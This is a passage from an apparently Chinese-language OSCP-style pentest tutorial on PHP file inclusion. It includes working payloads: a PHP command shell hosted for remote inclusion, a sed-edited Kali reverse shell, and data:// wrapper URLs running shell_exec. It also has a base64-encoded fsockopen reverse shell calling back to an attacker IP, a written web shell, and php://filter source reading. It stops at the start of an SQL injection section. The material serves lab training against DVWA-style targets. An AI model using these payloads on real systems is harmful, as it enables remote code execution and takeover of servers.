 &lt;p&gt;&lt;strong&gt;空字节绕过&lt;/strong&gt;：旧版本的PHP存在一个漏洞，其中空字节(%00)将终止任何字符串。这个技巧可用于绕过服务器端添加的文件扩展名，对文件包含很有用，因为它防止文件扩展名被视为字符串的一部分。换句话说，如果应用程序读取参数并向其追加&amp;quot;.php&amp;quot;，在参数中传递的空字节有效地结束字符串而不带&amp;quot;.php&amp;quot;扩展名。这使攻击者在文件包含漏洞中可以加载的文件方面具有更大的灵活性。
&lt;strong&gt;问号技巧&lt;/strong&gt;：RFI载荷的另一个技巧是以问号(?)结尾，将服务器端添加到URL的任何内容标记为查询字符串的一部分。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;要查看实际效果，我们可以设置Apache服务器来托管恶意的evil.txt文件，其中包含我们在日志投毒攻击中使用的相同PHP命令shell。创建文件后，我们将快速重启Apache：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali@kali:/var/www/html$ cat evil.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&amp;lt;?php &lt;span class="nb"&gt;echo&lt;/span&gt; shell_exec&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;cmd&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; ?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;kali@kali:/var/www/html$ sudo systemctl restart apache2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;一旦文件就位且我们的Web服务器正在运行，我们可以将RFI攻击URL发送到Windows 10机器上的易受攻击的Web应用程序，看看我们的代码是否执行：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/menu.php?file=http://10.11.0.4/evil.txt&amp;amp;cmd=ipconfig
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="webshell说明"&gt;Webshell说明
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Webshell&lt;/strong&gt;是一小段软件，提供基于Web的命令行界面，使执行命令更容易、更方便。webshell有很多类型，Kali在&lt;code&gt;/usr/share/webshells&lt;/code&gt;中包含了几个，用多种常见的Web应用程序编程语言编写。与往常一样，在使用这些文件之前请查看其内容。基于这些简单示例的成功，我们可以使用Apache(或其他HTTP服务器)为RFI托管这些shell，扩展我们的能力。&lt;/p&gt;
&lt;p&gt;现在我们可以在服务器上执行代码，借助Kali Linux附带的webshell，从代码执行到获得shell应该是一件简单的事情。&lt;/p&gt;
&lt;h3 id="练习-2"&gt;练习
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;利用Web应用程序中的RFI漏洞并获得shell&lt;/li&gt;
&lt;li&gt;使用Kali附带的webshell之一在Windows 10目标上获得shell&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Kali 自带了一些php反弹的代码，只要使用下面的命令搜索复制到当前文件夹，然后修改ip和端口，在kali上启动一个简单的http服务，确保ip地址可以访问，靶机的all_url_include选项开启，就可以直接访问kali上的php弹回shell了&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cp /usr/share/webshells/php/php-reverse-shell.php .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sed -i -E &lt;span class="s2"&gt;&amp;#34;s/ip\s*=\s*&amp;#39;127\.0\.0\.1&amp;#39;\s*;/ip = &amp;#39;172.168.169.141&amp;#39;;/g; s/port\s*=\s*1234\s*;/port = 4777;/g&amp;#34;&lt;/span&gt; php-reverse-shell.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;python -m http.server
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -cAr nc -nlvp &lt;span class="m"&gt;4777&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 网页访问&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.224.1:8888/vulnerabilities/fi/?page&lt;span class="o"&gt;=&lt;/span&gt;http://172.168.169.141:8000/php-reverse-shell.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022103955235.png"&gt;&lt;/p&gt;
&lt;h1 id="扩展你的技能库"&gt;扩展你的技能库
&lt;/h1&gt;&lt;p&gt;既然我们已经了解了基础知识，让我们看看扩展技能库的一些方法。&lt;/p&gt;
&lt;p&gt;首先，让我们看看一些Apache的替代方案。&lt;/p&gt;
&lt;p&gt;Kali包含几个可以创建HTTP服务器的工具。如果我们需要在任意端口上快速建立HTTP服务器，这特别有用。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：以下示例使用注册端口，但如果我们以root用户权限运行命令，我们也可以在系统端口上运行服务器。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="http服务器替代方案"&gt;HTTP服务器替代方案
&lt;/h2&gt;&lt;h3 id="python-2x"&gt;Python 2.x
&lt;/h3&gt;&lt;p&gt;例如，我们可以在Python 2.x中在任意端口上启动HTTP服务器，通过设置&lt;code&gt;-m SimpleHTTPServer&lt;/code&gt;来设置所需的模块，&lt;code&gt;7331&lt;/code&gt;来设置TCP端口：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali@kali:~$ python -m SimpleHTTPServer &lt;span class="m"&gt;7331&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;Serving HTTP on 0.0.0.0 port &lt;span class="m"&gt;7331&lt;/span&gt; ...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="python-3x"&gt;Python 3.x
&lt;/h3&gt;&lt;p&gt;Python 3.x的语法略有不同，因为模块名称不同：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali@kali:~$ python3 -m http.server &lt;span class="m"&gt;7331&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;Serving HTTP on 0.0.0.0 port &lt;span class="m"&gt;7331&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;http://0.0.0.0:7331/&lt;span class="o"&gt;)&lt;/span&gt; ...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这两个命令都将启动HTTP服务器，并从当前工作路径托管任何文件或目录。&lt;/p&gt;
&lt;h3 id="php"&gt;PHP
&lt;/h3&gt;&lt;p&gt;PHP包含一个内置的Web服务器，可以使用&lt;code&gt;-S&lt;/code&gt;标志后跟要使用的地址和端口来启动：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali@kali:~$ php -S 0.0.0.0:8000
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;PHP 7.3.8-1 Development Server started at Wed Aug &lt;span class="m"&gt;28&lt;/span&gt; 12:59:52 &lt;span class="m"&gt;2019&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;Listening on http://0.0.0.0:8000
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;Document root is /home/kali
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;Press Ctrl-C to quit.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="ruby"&gt;Ruby
&lt;/h3&gt;&lt;p&gt;我们还可以使用Ruby&amp;quot;一行命令&amp;quot;启动HTTP服务器。该命令需要几个标志，包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-run&lt;/code&gt;：加载un.rb，其中包含常见Unix命令的替代品&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-e httpd&lt;/code&gt;：运行HTTP服务器&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.&lt;/code&gt;：从当前目录提供内容&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-p 9000&lt;/code&gt;：设置TCP端口&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali@kali:~$ ruby -run -e httpd . -p &lt;span class="m"&gt;9000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;2019-08-28 12:44:14&lt;span class="o"&gt;]&lt;/span&gt; INFO WEBrick 1.4.2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;2019-08-28 12:44:14&lt;span class="o"&gt;]&lt;/span&gt; INFO ruby 2.5.5 &lt;span class="o"&gt;(&lt;/span&gt;2019-03-15&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;x86_64-linux-gnu&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;2019-08-28 12:44:14&lt;span class="o"&gt;]&lt;/span&gt; INFO WEBrick::HTTPServer#start: &lt;span class="nv"&gt;pid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1367&lt;/span&gt; &lt;span class="nv"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;9000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="busybox"&gt;BusyBox
&lt;/h3&gt;&lt;p&gt;我们还可以使用busybox(&amp;ldquo;嵌入式Linux的瑞士军刀&amp;rdquo;)运行HTTP服务器：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;httpd&lt;/code&gt;：作为函数&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-f&lt;/code&gt;：交互式运行&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-p 10000&lt;/code&gt;：在TCP端口10000上运行&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali@kali:~$ busybox httpd -f -p &lt;span class="m"&gt;10000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;要停止任何这些服务器，我们只需按下&lt;code&gt;Ctrl+C&lt;/code&gt;。&lt;/p&gt;
&lt;h2 id="php包装器"&gt;PHP包装器
&lt;/h2&gt;&lt;p&gt;PHP提供了几个&lt;strong&gt;协议包装器&lt;/strong&gt;(protocol wrappers)，我们可以使用它们来利用目录遍历和本地文件包含漏洞。这些过滤器在尝试通过LFI漏洞注入PHP代码时为我们提供了额外的灵活性。&lt;/p&gt;
&lt;p&gt;我们可以使用&lt;strong&gt;data包装器&lt;/strong&gt;将内联数据嵌入为URL的一部分，使用明文或base64编码的数据。当我们无法用PHP代码污染本地文件时，此包装器为我们提供了替代载荷。&lt;/p&gt;
&lt;h3 id="使用data包装器"&gt;使用Data包装器
&lt;/h3&gt;&lt;p&gt;让我们仔细看看如何使用data包装器。我们以&amp;quot;data:&amp;ldquo;开始，后跟数据类型。在这种情况下，我们将使用&amp;quot;text/plain&amp;quot;表示明文。接下来是逗号，标记内容的开始，在本例中是&amp;quot;hello world&amp;rdquo;。当我们把它们放在一起时，我们得到&amp;quot;data:text/plain,hello world&amp;quot;。&lt;/p&gt;
&lt;p&gt;我们已经知道菜单页面容易受到LFI攻击。如果我们使用data包装器提交载荷，应用程序应该将其视为常规文件并将其包含在页面中。让我们通过提交以下URL并检查结果来验证这是否有效：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/menu.php?file=data:text/plain,hello world
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022111122997.png"&gt;&lt;/p&gt;
&lt;p&gt;正如预期的那样，应用程序将data包装器视为文件并将其包含在页面中，显示我们的&amp;quot;hello world&amp;quot;字符串。&lt;/p&gt;
&lt;h3 id="使用data包装器执行php代码"&gt;使用Data包装器执行PHP代码
&lt;/h3&gt;&lt;p&gt;既然明文data包装器有效，让我们看看我们能走多远。我们知道这个页面上存在LFI漏洞，之前的例子证明我们可以使用data包装器注入内容。让我们用一些PHP代码替换&amp;quot;hello world&amp;quot;，看看它是否执行。我们将使用&lt;code&gt;shell_exec&lt;/code&gt;运行&lt;code&gt;dir&lt;/code&gt;命令，包裹在PHP标签中。那么，URL看起来像这样：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/menu.php?file=data:text/plain,&amp;lt;?php echo shell_exec(&amp;#34;dir&amp;#34;) ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022111155793.png"&gt;&lt;/p&gt;
&lt;p&gt;我们在data包装器中包含的PHP代码在服务器端执行，生成了目录列表。我们现在可以在不操纵任何本地文件的情况下利用LFI。&lt;/p&gt;
&lt;h2 id="练习-3"&gt;练习
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;使用PHP包装器利用LFI漏洞&lt;/li&gt;
&lt;li&gt;使用PHP包装器在Windows 10实验机器上获得shell&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 测试命令可用&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.224.1:8888/vulnerabilities/fi/?page&lt;span class="o"&gt;=&lt;/span&gt;data:text/plain,%3C?php%20echo%20shell_exec&lt;span class="o"&gt;(&lt;/span&gt;%22whoami%22&lt;span class="o"&gt;)&lt;/span&gt;%20?%3E
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查可用的命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.224.1:8888/vulnerabilities/fi/?page&lt;span class="o"&gt;=&lt;/span&gt;data:text/plain,%3C?php%20echo%20shell_exec&lt;span class="o"&gt;(&lt;/span&gt;%22which%20bash%20sh%20python%20perl%20nc%20netcat%22&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;%20?%3E
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;----
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;/bin/bash /bin/sh /usr/bin/perl
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查PHP禁用函数 &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.224.1:8888/vulnerabilities/fi/?page&lt;span class="o"&gt;=&lt;/span&gt;data:text/plain,&amp;lt;?php &lt;span class="nb"&gt;echo&lt;/span&gt; ini_get&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;disable_functions&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; ?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 查看phpinfo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.224.1:8888/vulnerabilities/fi/?page&lt;span class="o"&gt;=&lt;/span&gt;data:text/plain,%3C?php%20phpinfo&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;%20?%3E
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 读取源码&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.224.1:8888/vulnerabilities/fi/?page&lt;span class="o"&gt;=&lt;/span&gt;php://filter/convert.base64-encode/resource&lt;span class="o"&gt;=&lt;/span&gt;index.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="方法1-反弹shell"&gt;方法1 反弹shell
&lt;/h3&gt;&lt;p&gt;使用更简单但正确的反向Shell 创建简化版（一次性URL）&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; simple_shell.php &lt;span class="s"&gt;&amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;?php
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$sock=fsockopen(&amp;#34;172.168.169.141&amp;#34;,4777);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$proc=proc_open(&amp;#34;/bin/sh&amp;#34;,array(0=&amp;gt;$sock,1=&amp;gt;$sock,2=&amp;gt;$sock),$pipes);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;base64 -w &lt;span class="m"&gt;0&lt;/span&gt; simple_shell.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;PD9waHAKJHNvY2s9ZnNvY2tvcGVuKCIxNzIuMTY4LjE2OS4xNDEiLDQ3NzcpOwokcHJvYz1wcm9jX29wZW4oIi9iaW4vc2giLGFycmF5KDA9PiRzb2NrLDE9PiRzb2NrLDI9PiRzb2NrKSwkcGlwZXMpOwo/Pgo&lt;span class="o"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 网页访问&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.224.1:8888/vulnerabilities/fi/?page&lt;span class="o"&gt;=&lt;/span&gt;data:text/plain&lt;span class="p"&gt;;&lt;/span&gt;base64,PD9waHAKJHNvY2s9ZnNvY2tvcGVuKCIxNzIuMTY4LjE2OS4xNDEiLDQ3NzcpOwokcHJvYz1wcm9jX29wZW4oIi9iaW4vc2giLGFycmF5KDA9PiRzb2NrLDE9PiRzb2NrLDI9PiRzb2NrKSwkcGlwZXMpOwo/Pgo&lt;span class="o"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022143619377.png"&gt;&lt;/p&gt;
&lt;h3 id="方法2写入shell后lfi"&gt;方法2：写入shell后LFI
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 查看目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.224.1:8888/vulnerabilities/fi/?page&lt;span class="o"&gt;=&lt;/span&gt;data:text/plain,%3C?php%20system&lt;span class="o"&gt;(&lt;/span&gt;%22ls%20-la%20/var/www/html/vulnerabilities/fi/%22&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;%20?%3E
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 写入shell&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.224.1:8888/vulnerabilities/fi/?page&lt;span class="o"&gt;=&lt;/span&gt;data:text/plain,&amp;lt;?php file_put_contents&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;shell.php&amp;#34;&lt;/span&gt;,&lt;span class="s2"&gt;&amp;#34;&amp;lt;?php system(\$_GET[&amp;#39;c&amp;#39;]); ?&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; ?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.224.1:8888/vulnerabilities/fi/shell.php?c&lt;span class="o"&gt;=&lt;/span&gt;id
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022143956357.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022144059423.png"&gt;&lt;/p&gt;
&lt;h1 id="sql注入"&gt;Sql注入
&lt;/h1&gt;&lt;p&gt;SQL 注入是一种常见的 Web 应用程序漏洞，它是由于未经过滤的用户输入被插入到查询中，然后传递给数据库执行而造成的。查询用于与数据库交互，例如插入或检索数据。如果我们可以注入恶意输入到查询中，我们就能&amp;quot;突破&amp;quot;开发人员编写的原始查询，并引入我们自己的恶意操作。这类漏洞可能导致数据库信息泄露，根据环境的不同，可能导致服务器完全被攻陷。&lt;/p&gt;
&lt;p&gt;在本节中，我们将在 PHP/MariaDB 环境下研究 SQL 注入攻击。虽然不同环境的概念是相同的，但在攻击过程中使用的语法可能需要更新，以适应不同的数据库引擎或脚本语言。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;注意：&lt;/strong&gt; MariaDB 与 MySQL 非常相似。实际上，它起源于 MySQL 的一个分支。虽然存在一些细微差别，但大多数差别对攻击者来说并不重要。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="基本-sql-语法"&gt;基本 SQL 语法
&lt;/h2&gt;&lt;p&gt;结构化查询语言（SQL）是用于与关系数据库交互的主要语言。虽然 SQL 有标准语法，但大多数数据库软件包都有实现上的变化。然而，基础语法通常是相同的。让我们先了解一些基本的 SQL 概念和语法，然后再进行漏洞利用。&lt;/p&gt;
&lt;p&gt;关系数据库由一个或多个表组成，每个表有一个或多个列。表中的每个条目称为行。&lt;/p&gt;
&lt;p&gt;在大多数情况下，我们将处理查询。查询是对数据库引擎的指令，我们使用它们来检索或操作数据库中的数据。SELECT 查询是最基本的交互：&lt;/p&gt;
